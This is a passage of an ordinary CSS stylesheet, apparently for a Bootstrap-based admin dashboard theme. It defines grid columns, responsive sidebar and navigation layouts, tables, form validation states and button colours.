		margin-left: 50%;
	}
	.col-md-offset-5 {
		margin-left: 41.66666666666667%;
	}
	.col-md-offset-4 {
		margin-left: 33.33333333333333%;
	}
	.col-md-offset-3 {
		margin-left: 25%;
	}
	.col-md-offset-2 {
		margin-left: 16.666666666666664%;
	}
	.col-md-offset-1 {
		margin-left: 8.333333333333332%;
	}
	.col-md-offset-0 {
		margin-left: 0;
	}
}

@media ( min-width : 1200px) {
	.col-lg-1,.col-lg-2,.col-lg-3,.col-lg-4,.col-lg-5,.col-lg-6,.col-lg-7,.col-lg-8,.col-lg-9,.col-lg-10,.col-lg-11,.col-lg-12
		{
		float: left;
	}
	.col-lg-12 {
		width: 100%;
	}
	.col-lg-11 {
		width: 91.66666666666666%;
	}
	.col-lg-10 {
		width: 83.33333333333334%;
	}
	.col-lg-9 {
		width: 75%;
	}
	.col-lg-8 {
		width: 66.66666666666666%;
	}
	.col-lg-7 {
		width: 58.333333333333336%;
	}
	.col-lg-6 {
		width: 50%;
	}
	.col-lg-5 {
		width: 41.66666666666667%;
	}
	.col-lg-4 {
		width: 33.33333333333333%;
	}
	.col-lg-3 {
		width: 25%;
	}
	.col-lg-2 {
		width: 16.666666666666664%;
	}
	.col-lg-1 {
		width: 8.333333333333332%;
	}
	.col-lg-pull-12 {
		right: 100%;
	}
	.col-lg-pull-11 {
		right: 91.66666666666666%;
	}
	.col-lg-pull-10 {
		right: 83.33333333333334%;
	}
	.col-lg-pull-9 {
		right: 75%;
	}
	.col-lg-pull-8 {
		right: 66.66666666666666%;
	}
	.col-lg-pull-7 {
		right: 58.333333333333336%;
	}
	.col-lg-pull-6 {
		right: 50%;
	}
	.col-lg-pull-5 {
		right: 41.66666666666667%;
	}
	.col-lg-pull-4 {
		right: 33.33333333333333%;
	}
	.col-lg-pull-3 {
		right: 25%;
	}
	.col-lg-pull-2 {
		right: 16.666666666666664%;
	}
	.col-lg-pull-1 {
		right: 8.333333333333332%;
	}
	.col-lg-pull-0 {
		right: 0;
	}
	.col-lg-push-12 {
		left: 100%;
	}
	.col-lg-push-11 {
		left: 91.66666666666666%;
	}
	.col-lg-push-10 {
		left: 83.33333333333334%;
	}
	.col-lg-push-9 {
		left: 75%;
	}
	.col-lg-push-8 {
		left: 66.66666666666666%;
	}
	.col-lg-push-7 {
		left: 58.333333333333336%;
	}
	.col-lg-push-6 {
		left: 50%;
	}
	.col-lg-push-5 {
		left: 41.66666666666667%;
	}
	.col-lg-push-4 {
		left: 33.33333333333333%;
	}
	.col-lg-push-3 {
		left: 25%;
	}
	.col-lg-push-2 {
		left: 16.666666666666664%;
	}
	.col-lg-push-1 {
		left: 8.333333333333332%;
	}
	.col-lg-push-0 {
		left: 0;
	}
	.col-lg-offset-12 {
		margin-left: 100%;
	}
	.col-lg-offset-11 {
		margin-left: 91.66666666666666%;
	}
	.col-lg-offset-10 {
		margin-left: 83.33333333333334%;
	}
	.col-lg-offset-9 {
		margin-left: 75%;
	}
	.col-lg-offset-8 {
		margin-left: 66.66666666666666%;
	}
	.col-lg-offset-7 {
		margin-left: 58.333333333333336%;
	}
	.col-lg-offset-6 {
		margin-left: 50%;
	}
	.col-lg-offset-5 {
		margin-left: 41.66666666666667%;
	}
	.col-lg-offset-4 {
		margin-left: 33.33333333333333%;
	}
	.col-lg-offset-3 {
		margin-left: 25%;
	}
	.col-lg-offset-2 {
		margin-left: 16.666666666666664%;
	}
	.col-lg-offset-1 {
		margin-left: 8.333333333333332%;
	}
	.col-lg-offset-0 {
		margin-left: 0;
	}
}

table {
	max-width: 100%;
	background-color: transparent;
}

th {
	text-align: left;
}

.table {
	width: 100%;
}

.table>thead>tr>th,.table>tbody>tr>th,.table>tfoot>tr>th,.table>thead>tr>td,.table>tbody>tr>td,.table>tfoot>tr>td
	{
	padding: 16px 20px;
	vertical-align: top;
}

.table>thead {
	background: #f7f7f7;
}

.table>thead>tr>th {
	font-size: 15px;
	color: #323641;
	font-weight: bold;
	vertical-align: bottom;
	border-bottom: 1px solid #e6e7e8;
}

.table>caption+thead>tr:first-child>th,.table>colgroup+thead>tr:first-child>th,.table>thead:first-child>tr:first-child>th,.table>caption+thead>tr:first-child>td,.table>colgroup+thead>tr:first-child>td,.table>thead:first-child>tr:first-child>td
	{
	border-top: 0;
}

.table>tbody+tbody {
	border-top: 2px solid #dddddd;
}

.table .table {
	background-color: #ffffff;
}

.table-condensed>thead>tr>th,.table-condensed>tbody>tr>th,.table-condensed>tfoot>tr>th,.table-condensed>thead>tr>td,.table-condensed>tbody>tr>td,.table-condensed>tfoot>tr>td
	{
	padding: 5px;
}

.table-bordered {
	border: 1px solid #dddddd;
}

.table-bordered>thead>tr>th,.table-bordered>tbody>tr>th,.table-bordered>tfoot>tr>th,.table-bordered>thead>tr>td,.table-bordered>tbody>tr>td,.table-bordered>tfoot>tr>td
	{
	border: 1px solid #dddddd;
}

.table-bordered>thead>tr>th,.table-bordered>thead>tr>td {
	border-bottom-width: 2px;
}

.table-striped>tbody>tr:nth-child(odd)>td,.table-striped>tbody>tr:nth-child(odd)>th
	{
	background-color: #f9f9f9;
}

.table-hover>tbody>tr:hover>td,.table-hover>tbody>tr:hover>th {
	background-color: #f5f5f5;
}

table col[class *="col-"] {
	position: static;
	display: table-column;
	float: none;
}

table td[class *="col-"],table th[class *="col-"] {
	display: table-cell;
	float: none;
}

.table>thead>tr>.active,.table>tbody>tr>.active,.table>tfoot>tr>.active,.table>thead>.active>td,.table>tbody>.active>td,.table>tfoot>.active>td,.table>thead>.active>th,.table>tbody>.active>th,.table>tfoot>.active>th
	{
	background-color: #f5f5f5;
}

.table-hover>tbody>tr>.active:hover,.table-hover>tbody>.active:hover>td,.table-hover>tbody>.active:hover>th
	{
	background-color: #e8e8e8;
}

.table>thead>tr>.success,.table>tbody>tr>.success,.table>tfoot>tr>.success,.table>thead>.success>td,.table>tbody>.success>td,.table>tfoot>.success>td,.table>thead>.success>th,.table>tbody>.success>th,.table>tfoot>.success>th
	{
	background-color: #dff0d8;
}

.table-hover>tbody>tr>.success:hover,.table-hover>tbody>.success:hover>td,.table-hover>tbody>.success:hover>th
	{
	background-color: #d0e9c6;
}

.table>thead>tr>.danger,.table>tbody>tr>.danger,.table>tfoot>tr>.danger,.table>thead>.danger>td,.table>tbody>.danger>td,.table>tfoot>.danger>td,.table>thead>.danger>th,.table>tbody>.danger>th,.table>tfoot>.danger>th
	{
	background-color: #f2dede;
}

.table-hover>tbody>tr>.danger:hover,.table-hover>tbody>.danger:hover>td,.table-hover>tbody>.danger:hover>th
	{
	background-color: #ebcccc;
}

.table>thead>tr>.warning,.table>tbody>tr>.warning,.table>tfoot>tr>.warning,.table>thead>.warning>td,.table>tbody>.warning>td,.table>tfoot>.warning>td,.table>thead>.warning>th,.table>tbody>.warning>th,.table>tfoot>.warning>th
	{
	background-color: #fcf8e3;
}

.table-hover>tbody>tr>.warning:hover,.table-hover>tbody>.warning:hover>td,.table-hover>tbody>.warning:hover>th
	{
	background-color: #faf2cc;
}

.table tbody tr:nth-child(even) {
	background: #f6f8fa;
}

.table tbody tr:nth-child(odd) {
	background: #FFF;
}

@media ( max-width : 800px) {
	.wrapper aside header {
		height: auto;
		padding: 0 0 20px 0;
	}
	.structure-table {
		display: block;
		width: 100%;
	}
	.structure-row {
		display: block;
		width: 100%;
	}
	.right-sec>header {
		padding: 10px 20px;
	}
	.right-sec>header .user {
		margin: 10px 0 0 20px;
	}
	.right-sec .search-box {
		width: 100%;
		float: right;
		margin: 11px 0px 0px 0px;
	}
	.right-sec .search-box input[type="text"] {
		width: 70%;
	}
	.right-sec .search-box input[type="submit"] {
		float: right;
		margin-top: 3px;
	}
	.topnav {
		padding: 15px 0px 10px 0px;
	}
	.topnav select {
		padding-right: 13px;
		border-radius: 20px;
		position: relative;
		border: #6b6d73 solid 2px;
		background: #444549;
		color: #D9DBE1;
	}
	.wrapper aside {
		display: block;
		width: 100%;
		min-height: 100px;
	}
	/*sidebar start*/
	aside.sidebarhidden header .logo {
		display: block;
	}
	aside.sidebarhidden .navi-acc a {
		padding: 17px 20px 20px 67px;
		text-indent: inherit;
	}
	.sidebarhidden .navi-acc li a:before {
		left: 26px;
	}
	.sidebarhidden .label {
		display: block;
	}
	aside.sidebarhidden .navi-acc li ul {
		left: inherit;
		top: inherit;
		position: inherit;
		text-indent: inherit;
		width: 200px;
	}
	aside.sidebarhidden .navi-acc li ul a {
		padding-left: inherit;
	}
	aside.sidebarhidden .navi-acc li:hover ul {
		display: none !important;
	}
	aside.sidebarhidden .navi-acc li.active ul {
		display: block !important;
	}
	aside.sidebarhidden .navi-acc li ul li a {
		text-indent: inherit;
	}
	aside .sidebar-in {
		width: 100%;
	}
	/*sidebar end*/
	aside.sidebarhidden .sidebar-in {
		width: 100%;
		z-index: 2;
		border-bottom: #23262d solid 1px;
		-webkit-box-sizing: border-box;
		-moz-box-sizing: border-box;
		box-sizing: border-box;
		padding: 20px 26px 20px 20px;
		background: rgb(56, 59, 68); /* Old browsers */
		/* IE9 SVG, needs conditional override of 'filter' to 'none' */
		background:
			url(data:image/svg+xml;base64,PD94bWwgdmVyc2lvbj0iMS4wIiA/Pgo8c3ZnIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgd2lkdGg9IjEwMCUiIGhlaWdodD0iMTAwJSIgdmlld0JveD0iMCAwIDEgMSIgcHJlc2VydmVBc3BlY3RSYXRpbz0ibm9uZSI+CiAgPGxpbmVhckdyYWRpZW50IGlkPSJncmFkLXVjZ2ctZ2VuZXJhdGVkIiBncmFkaWVudFVuaXRzPSJ1c2VyU3BhY2VPblVzZSIgeDE9IjAlIiB5MT0iMCUiIHgyPSIwJSIgeTI9IjEwMCUiPgogICAgPHN0b3Agb2Zmc2V0PSIwJSIgc3RvcC1jb2xvcj0iIzM4M2I0NCIgc3RvcC1vcGFjaXR5PSIxIi8+CiAgICA8c3RvcCBvZmZzZXQ9IjEwMCUiIHN0b3AtY29sb3I9IiMyZTJmMzQiIHN0b3Atb3BhY2l0eT0iMSIvPgogIDwvbGluZWFyR3JhZGllbnQ+CiAgPHJlY3QgeD0iMCIgeT0iMCIgd2lkdGg9IjEiIGhlaWdodD0iMSIgZmlsbD0idXJsKCNncmFkLXVjZ2ctZ2VuZXJhdGVkKSIgLz4KPC9zdmc+);
		background: -moz-linear-gradient(top, rgba(56, 59, 68, 1) 0%,
			rgba(46, 47, 52, 1) 100% ); /* FF3.6+ */
		background: -webkit-gradient(linear, left top, left bottom, color-stop(0%, rgba(56,
			59, 68, 1) ), color-stop(100%, rgba(46, 47, 52, 1) ) );
		/* Chrome,Safari4+ */
		background: -webkit-linear-gradient(top, rgba(56, 59, 68, 1) 0%,
			rgba(46, 47, 52, 1) 100% ); /* Chrome10+,Safari5.1+ */
		background: -o-linear-gradient(top, rgba(56, 59, 68, 1) 0%,
			rgba(46, 47, 52, 1) 100% ); /* Opera 11.10+ */
		background: -ms-linear-gradient(top, rgba(56, 59, 68, 1) 0%,
			rgba(46, 47, 52, 1) 100% ); /* IE10+ */
		background: linear-gradient(to bottom, rgba(56, 59, 68, 1) 0%,
			rgba(46, 47, 52, 1) 100% ); /* W3C */
		filter: progid : DXImageTransform.Microsoft.gradient (   startColorstr =
			'#383b44', endColorstr = '#2e2f34', GradientType = 0 ); /* IE6-8 */
	}
	aside.sidebarhidden .navigation select {
		background: #000;
		color: #FFF;
		border: #000 solid 1px;
	}
	.wrapper>header {
		padding: 20px;
	}
	.topnavigation {
		width: 100%;
		margin-right: 0;
	}
	.topnavigation select {
		background: #000;
		color: #FFF;
		width: 100%;
		margin-right: 0;
		border: #000 solid 1px;
	}
	.wrapper>header .logo {
		margin-left: 0;
		margin-top: 0;
	}
	.right-sec+.sidebarhidden {
		float: left;
	}
	.wrapper .right-sec {
		display: block;
		width: 100%;
	}
	.wrapper aside .shadows {
		display: none;
	}
	.wrapper aside header .togglemenu {
		display: none;
		float: right;
	}
	nav.navigation {
		display: none;
	}
	.sidebarhidden nav.navigation {
		display: block;
	}
	.affix {
		position: inherit !important;
		width: inherit;
	}
	.effect {
		width: 258px;
	}
	.emailbox .structure-table:before {
		border: none;
	}
	.emailoptions .searchemail {
		display: none;
	}
	.email-nav {
		display: block;
		width: 100%;
		padding: 20px;
		background: #FFF;
	}
	.email-nav a {
		display: inline-block;
		width: auto;
		float: left;
	}
	.emailbox .emailslist {
		display: block;
		float: left;
		width: 100%;
	}
	.attachments ul li {
		width: 45%;
		margin-bottom: 20px;
	}
	.dataTables_info {
		width: auto;
	}
	.fullcalendar-box #external-events {
		position: relative;
		width: 100%;
		left: inherit;
		float: left;
		padding: 0px 20px 20px 20px;
	}
	.fullcalendar-box .dragables {
		padding: 0;
		margin-top: 10px;
	}
	#external-events>div {
		width: 100%;
	}
	.gallerybox li {
		width: 33.33%;
	}
	.table-responsive {
		width: 100%;
		margin-bottom: 15px;
		overflow-x: scroll;
		overflow-y: hidden;
		border: 1px solid #dddddd;
		-ms-overflow-style: -ms-autohiding-scrollbar;
		-webkit-overflow-scrolling: touch;
	}
	.table-responsive>.table {
		margin-bottom: 0;
	}
	.table-responsive>.table>thead>tr>th,.table-responsive>.table>tbody>tr>th,.table-responsive>.table>tfoot>tr>th,.table-responsive>.table>thead>tr>td,.table-responsive>.table>tbody>tr>td,.table-responsive>.table>tfoot>tr>td
		{
		white-space: nowrap;
	}
	.table-responsive>.table-bordered {
		border: 0;
	}
	.table-responsive>.table-bordered>thead>tr>th:first-child,.table-responsive>.table-bordered>tbody>tr>th:first-child,.table-responsive>.table-bordered>tfoot>tr>th:first-child,.table-responsive>.table-bordered>thead>tr>td:first-child,.table-responsive>.table-bordered>tbody>tr>td:first-child,.table-responsive>.table-bordered>tfoot>tr>td:first-child
		{
		border-left: 0;
	}
	.table-responsive>.table-bordered>thead>tr>th:last-child,.table-responsive>.table-bordered>tbody>tr>th:last-child,.table-responsive>.table-bordered>tfoot>tr>th:last-child,.table-responsive>.table-bordered>thead>tr>td:last-child,.table-responsive>.table-bordered>tbody>tr>td:last-child,.table-responsive>.table-bordered>tfoot>tr>td:last-child
		{
		border-right: 0;
	}
	.table-responsive>.table-bordered>tbody>tr:last-child>th,.table-responsive>.table-bordered>tfoot>tr:last-child>th,.table-responsive>.table-bordered>tbody>tr:last-child>td,.table-responsive>.table-bordered>tfoot>tr:last-child>td
		{
		border-bottom: 0;
	}
	.topnav {
		width: 100%;
		float: left;
	}
}

@media ( max-width : 1024px) {
	.js #nav {
		display: none;
	}
	.js #nav1 {
		display: none;
	}
	.js #nav2 {
		display: none;
	}
	.js #nav3 {
		display: none;
	}
	.js #nav4 {
		display: none;
	}
	.js .selectnav {
		display: block;
	}
	#nav1 {
		display: none !important;
	}
	.topnavigation select {
		background: #000 !important;
		color: #FFF;
		width: 100%;
		margin-right: 0;
		border: #000 solid 1px;
	}
}

@media ( max-width : 1280px) {
	.topnav {
		width: 100%;
		float: left;
	}
	.wrapper>header {
		padding-bottom: 20px;
	}
}

fieldset {
	padding: 0;
	margin: 0;
	border: 0;
}

legend {
	display: block;
	width: 100%;
	padding: 0;
	margin-bottom: 20px;
	font-size: 21px;
	line-height: inherit;
	color: #333333;
	border: 0;
	border-bottom: 1px solid #e5e5e5;
}

label {
	display: inline-block;
	margin-bottom: 5px;
	font-weight: bold;
}

input[type="search"] {
	-webkit-box-sizing: border-box;
	-moz-box-sizing: border-box;
	box-sizing: border-box;
}

input[type="radio"],input[type="checkbox"] {
	margin: 4px 0 0;
	margin-top: 1px \9;
	/* IE8-9 */
	line-height: normal;
}

input[type="file"] {
	display: block;
	width: 100%;
}

select[multiple],select[size] {
	height: auto;
}

select optgroup {
	font-family: inherit;
	font-size: inherit;
	font-style: inherit;
}

input[type="file"]:focus,input[type="radio"]:focus,input[type="checkbox"]:focus
	{
	outline: thin dotted;
	outline: 5px auto -webkit-focus-ring-color;
	outline-offset: -2px;
}

input[type="number"]::-webkit-outer-spin-button,input[type="number"]::-webkit-inner-spin-button
	{
	height: auto;
}

output {
	display: block;
	padding-top: 7px;
	font-size: 14px;
	line-height: 1.428571429;
	color: #555555;
	vertical-align: middle;
}

.form-control {
	display: block;
	width: 100%;
	height: 34px;
	padding: 6px 12px;
	font-size: 13px;
	line-height: 1.428571429;
	color: #555555;
	vertical-align: middle;
	background-color: #ffffff;
	background-image: none;
	border: 1px solid #e0e0df;
	border-radius: 2px;
	-webkit-transition: border-color ease-in-out 0.15s, box-shadow
		ease-in-out 0.15s;
	transition: border-color ease-in-out 0.15s, box-shadow ease-in-out 0.15s;
}

select.form-control {
	padding: 6px 6px 6px 12px;
}

.dataTables_wrapper select,.dataTables_wrapper input[type="text"] {
	height: 34px;
	padding: 6px 6px 6px 12px;
	font-size: 13px;
	line-height: 1.428571429;
	color: #555555;
	vertical-align: middle;
	background-color: #ffffff;
	background-image: none;
	border: 1px solid #e0e0df;
	border-radius: 2px;
	-webkit-transition: border-color ease-in-out 0.15s, box-shadow
		ease-in-out 0.15s;
	transition: border-color ease-in-out 0.15s, box-shadow ease-in-out 0.15s;
}

.dataTables_length select {
	margin: 0px 10px;
}

.dataTables_filter input[type="text"] {
	margin: 0 0 0 10px;
}

@media ( max-width : 767px) {
	select.form-control {
		padding: 6px 13px 6px 12px;
		background: transparent;
	}
}

.form-control:focus {
	border-color: #33363f;
	outline: 0;
	-webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 8px
		rgba(51, 54, 63, 0.6);
	box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 8px
		rgba(51, 54, 63, 0.6);
}

.form-control:-moz-placeholder {
	color: #999999;
}

.form-control::-moz-placeholder {
	color: #999999;
	opacity: 1;
}

.form-control:-ms-input-placeholder {
	color: #999999;
}

.form-control::-webkit-input-placeholder {
	color: #999999;
}

.form-control[disabled],.form-control[readonly],fieldset[disabled] .form-control
	{
	cursor: not-allowed;
	background-color: #eeeeee;
}

textarea.form-control {
	height: auto;
}

.selectnav {
	display: none;
}

.form-group {
	
}

.radio,.checkbox {
	display: block;
	min-height: 20px;
	padding-left: 20px;
	margin-top: 10px;
	margin-bottom: 10px;
	vertical-align: middle;
}

.radio label,.checkbox label {
	display: inline;
	margin-bottom: 0;
	font-weight: normal;
	cursor: pointer;
}

.radio input[type="radio"],.radio-inline input[type="radio"],.checkbox input[type="checkbox"],.checkbox-inline input[type="checkbox"]
	{
	float: left;
	margin-left: -20px;
}

.radio+.radio,.checkbox+.checkbox {
	margin-top: -5px;
}

.radio-inline,.checkbox-inline {
	display: inline-block;
	padding-left: 20px;
	margin-bottom: 0;
	font-weight: normal;
	vertical-align: middle;
	cursor: pointer;
}

.radio-inline+.radio-inline,.checkbox-inline+.checkbox-inline {
	margin-top: 0;
	margin-left: 10px;
}

input[type="radio"][disabled],input[type="checkbox"][disabled],.radio[disabled],.radio-inline[disabled],.checkbox[disabled],.checkbox-inline[disabled],fieldset[disabled] input[type="radio"],fieldset[disabled] input[type="checkbox"],fieldset[disabled] .radio,fieldset[disabled] .radio-inline,fieldset[disabled] .checkbox,fieldset[disabled] .checkbox-inline
	{
	cursor: not-allowed;
}

.input-sm {
	height: 30px;
	padding: 5px 10px;
	font-size: 12px;
	line-height: 1.5;
	border-radius: 3px;
}

select.input-sm {
	height: 30px;
	line-height: 30px;
}

textarea.input-sm {
	height: auto;
}

.input-lg {
	height: 46px;
	padding: 10px 16px;
	font-size: 18px;
	line-height: 1.33;
	border-radius: 6px;
}

select.input-lg {
	height: 46px;
	line-height: 46px;
}

textarea.input-lg {
	height: auto;
}

.has-warning .help-block,.has-warning .control-label,.has-warning .radio,.has-warning .checkbox,.has-warning .radio-inline,.has-warning .checkbox-inline
	{
	color: #8a6d3b;
}

.has-warning .form-control {
	color: #ffcc00;
	border-color: #ffcc00;
	-webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075);
	box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075);
}

.has-warning .form-control:focus {
	border-color: #ffcc00;
	-webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 6px
		#ffcc00;
	box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 6px #ffcc00;
}

.has-warning .input-group-addon {
	color: #8a6d3b;
	background-color: #fcf8e3;
	border-color: #ffcc00;
}

.has-error .help-block,.has-error .control-label,.has-error .radio,.has-error .checkbox,.has-error .radio-inline,.has-error .checkbox-inline
	{
	color: #e65b45;
}

.has-error .form-control {
	color: #e65b45;
	border-color: #e65b45;
	-webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075);
	box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075);
}

.has-error .form-control:focus {
	border-color: #e65b45;
	-webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 6px
		#e65b45;
	box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 6px #e65b45;
}

.has-error .input-group-addon {
	color: #e65b45;
	background-color: #f2dede;
	border-color: #e65b45;
}

.has-success .help-block,.has-success .control-label,.has-success .radio,.has-success .checkbox,.has-success .radio-inline,.has-success .checkbox-inline
	{
	color: #07ba42;
}

.has-success .form-control {
	color: #07ba42;
	border-color: #07ba42;
	-webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075);
	box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075);
}

.has-success .form-control:focus {
	border-color: #07ba42;
	-webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 6px
		#07ba42;
	box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 6px #07ba42;
}

.has-success .input-group-addon {
	color: #07ba42;
	background-color: #dff0d8;
	border-color: #07ba42;
}

.form-control-static {
	margin-bottom: 0;
}

.help-block {
	display: block;
	margin-top: 5px;
	margin-bottom: 10px;
	color: #737373;
}

@media ( min-width : 768px) {
	.form-inline .form-group {
		display: inline-block;
		margin-bottom: 0;
		vertical-align: middle;
	}
	.form-inline .form-control {
		display: inline-block;
	}
	.form-inline select.form-control {
		width: auto;
	}
	.form-inline .radio,.form-inline .checkbox {
		display: inline-block;
		padding-left: 0;
		margin-top: 0;
		margin-bottom: 0;
	}
	.form-inline .radio input[type="radio"],.form-inline .checkbox input[type="checkbox"]
		{
		float: none;
		margin-left: 0;
	}
}

.form-horizontal .control-label,.form-horizontal .radio,.form-horizontal .checkbox,.form-horizontal .radio-inline,.form-horizontal .checkbox-inline
	{
	padding-top: 7px;
	margin-top: 0;
	margin-bottom: 0;
}

.form-horizontal .radio,.form-horizontal .checkbox {
	min-height: 27px;
}

.form-horizontal .form-group {
	margin-right: -15px;
	margin-left: -15px;
}

.form-horizontal .form-group:before,.form-horizontal .form-group:after {
	display: table;
	content: " ";
}

.form-horizontal .form-group:after {
	clear: both;
}

.form-horizontal .form-group:before,.form-horizontal .form-group:after {
	display: table;
	content: " ";
}

.form-horizontal .form-group:after {
	clear: both;
}

.form-horizontal .form-control-static {
	padding-top: 7px;
}

@media ( min-width : 768px) {
	.form-horizontal .control-label {
		text-align: right;
	}
}

.btn {
	display: inline-block;
	padding: 6px 12px;
	margin-bottom: 0;
	font-size: 14px;
	font-weight: normal;
	line-height: 1.428571429;
	text-align: center;
	white-space: nowrap;
	vertical-align: middle;
	cursor: pointer;
	background-image: none;
	border: 1px solid transparent;
	border-radius: 4px;
	-webkit-user-select: none;
	-moz-user-select: none;
	-ms-user-select: none;
	-o-user-select: none;
	user-select: none;
}

.btn:focus {
	outline: thin dotted;
	outline: 5px auto -webkit-focus-ring-color;
	outline-offset: -2px;
}

.btn:hover,.btn:focus {
	color: #333333;
	text-decoration: none;
}

.btn:active,.btn.active {
	background-image: none;
	outline: 0;
	-webkit-box-shadow: inset 0 3px 5px rgba(0, 0, 0, 0.125);
	box-shadow: inset 0 3px 5px rgba(0, 0, 0, 0.125);
}

.btn.disabled,.btn[disabled],fieldset[disabled] .btn {
	pointer-events: none;
	cursor: not-allowed;
	opacity: 0.65;
	filter: alpha(opacity = 65);
	-webkit-box-shadow: none;
	box-shadow: none;
}

.btn-default {
	color: #6d6f75;
	background: #fdfdfd;
	background: -moz-linear-gradient(top, #fdfdfd 0%, #f7f7f7 100%);
	background: -webkit-gradient(linear, left top, left bottom, color-stop(0%, #fdfdfd),
		color-stop(100%, #f7f7f7) );
	background: -webkit-linear-gradient(top, #fdfdfd 0%, #f7f7f7 100%);
	background: -o-linear-gradient(top, #fdfdfd 0%, #f7f7f7 100%);
	background: -ms-linear-gradient(top, #fdfdfd 0%, #f7f7f7 100%);
	background: linear-gradient(to bottom, #fdfdfd 0%, #f7f7f7 100%);
	filter: progid : DXImageTransform.Microsoft.gradient (   startColorstr =
		'#fdfdfd', endColorstr = '#f7f7f7', GradientType = 0 );
	border-color: #e4e4e4;
	box-shadow: 0 1px 2px #E7EBEC;
}

.media-body .btn-default {
	margin-top: 10px;
}

.input-group .btn-default {
	box-shadow: none;
}

.btn-default:hover,.btn-default:focus,.btn-default:active,.btn-default.active,.open .dropdown-toggle.btn-default
	{
	color: #333333;
	background-color: #ebebeb;
	border-color: #adadad;
}

.btn-default:active,.btn-default.active,.open .dropdown-toggle.btn-default
	{
	background-image: none;
}

.btn-default.disabled,.btn-default[disabled],fieldset[disabled] .btn-default,.btn-default.disabled:hover,.btn-default[disabled]:hover,fieldset[disabled] .btn-default:hover,.btn-default.disabled:focus,.btn-default[disabled]:focus,fieldset[disabled] .btn-default:focus,.btn-default.disabled:active,.btn-default[disabled]:active,fieldset[disabled] .btn-default:active,.btn-default.disabled.active,.btn-default[disabled].active,fieldset[disabled] .btn-default.active
	{
	background-color: #ffffff;
	border-color: #cccccc;
}

.btn-default .badge {
	color: #ffffff;
	background-color: #fff;
}

.btn-primary {
	color: #ffffff;
	background-color: #428bca;
	border-color: #357ebd;
	box-shadow: 0 1px 2px #E7EBEC;
}

.btn-primary:hover,.btn-primary:focus,.btn-primary:active,.btn-primary.active,.open .dropdown-toggle.btn-primary
	{
	color: #ffffff;
	background-color: #3276b1;
	border-color: #285e8e;
}

.btn-primary:active,.btn-primary.active,.open .dropdown-toggle.btn-primary
	{
	background-image: none;
}

.btn-primary.disabled,.btn-primary[disabled],fieldset[disabled] .btn-primary,.btn-primary.disabled:hover,.btn-primary[disabled]:hover,fieldset[disabled] .btn-primary:hover,.btn-primary.disabled:focus,.btn-primary[disabled]:focus,fieldset[disabled] .btn-primary:focus,.btn-primary.disabled:active,.btn-primary[disabled]:active,fieldset[disabled] .btn-primary:active,.btn-primary.disabled.active,.btn-primary[disabled].active,fieldset[disabled] .btn-primary.active
	{
	background-color: #428bca;
	border-color: #357ebd;
}

.btn-primary .badge {
	color: #428bca;
	background-color: #fff;
}

.btn-warning {
	color: #ffffff;
	background-color: #f0ad4e;
	border-color: #eea236;
	box-shadow: 0 1px 2px #E7EBEC;
}

.btn-warning:hover,.btn-warning:focus,.btn-warning:active,.btn-warning.active,.open .dropdown-toggle.btn-warning
	{
	color: #ffffff;
	background-color: #ed9c28;
	border-color: #d58512;
}

.btn-warning:active,.btn-warning.active,.open .dropdown-toggle.btn-warning
	{
	background-image: none;
}

.btn-warning.disabled,.btn-warning[disabled],fieldset[disabled] .btn-warning,.btn-warning.disabled:hover,.btn-warning[disabled]:hover,fieldset[disabled] .btn-warning:hover,.btn-warning.disabled:focus,.btn-warning[disabled]:focus,fieldset[disabled] .btn-warning:focus,.btn-warning.disabled:active,.btn-warning[disabled]:active,fieldset[disabled] .btn-warning:active,.btn-warning.disabled.active,.btn-warning[disabled].active,fieldset[disabled] .btn-warning.active
	{
	background-color: #f0ad4e;
	border-color: #eea236;
}

.btn-warning .badge {
	color: #f0ad4e;
	background-color: #fff;
}

.btn-danger {
	color: #ffffff;
	background-color: #d9534f;
	border-color: #d43f3a;
	box-shadow: 0 1px 2px #E7EBEC;
}

.btn-danger:hover,.btn-danger:focus,.btn-danger:active,.btn-danger.active,.open .dropdown-toggle.btn-danger
	{
	color: #ffffff;
	background-color: #d2322d;
	border-color: #ac2925;
}

.btn-danger:active,.btn-danger.active,.open .dropdown-toggle.btn-danger
	{
	background-image: none;
}

.btn-danger.disabled,.btn-danger[disabled],fieldset[disabled] .btn-danger,.btn-danger.disabled:hover,.btn-danger[disabled]:hover,fieldset[disabled] .btn-danger:hover,.btn-danger.disabled:focus,.btn-danger[disabled]:focus,fieldset[disabled] .btn-danger:focus,.btn-danger.disabled:active,.btn-danger[disabled]:active,fieldset[disabled] .btn-danger:active,.btn-danger.disabled.active,.btn-danger[disabled].active,fieldset[disabled] .btn-danger.active
	{
	background-color: #d9534f;
	border-color: #d43f3a;
}

.btn-danger .badge {
	color: #d9534f;
	background-color: #fff;
}

.btn-success {
	color: #ffffff;
	background-color: #5cb85c;
	border-color: #4cae4c;
	box-shadow: 0 1px 2px #E7EBEC;
}

.btn-success:hover,.btn-success:focus,.btn-success:active,.btn-success.active,.open .dropdown-toggle.btn-success
	{
	color: #ffffff;
	background-color: #47a447;
	border-color: #398439;
}

.btn-success:active,.btn-success.active,.open .dropdown-toggle.btn-success
	{
	background-image: none;
}

.btn-success.disabled,.btn-success[disabled],fieldset[disabled] .btn-success,.btn-success.disabled:hover,.btn-success[disabled]:hover,fieldset[disabled] .btn-success:hover,.btn-success.disabled:focus,.btn-success[disabled]:focus,fieldset[disabled] .btn-success:focus,.btn-success.disabled:active,.btn-success[disabled]:active,fieldset[disabled] .btn-success:active,.btn-success.disabled.active,.btn-success[disabled].active,fieldset[disabled] .btn-success.active
	{
	background-color: #5cb85c;
	border-color: #4cae4c;
}

.btn-success .badge {
	color: #5cb85c;
	background-color: #fff;
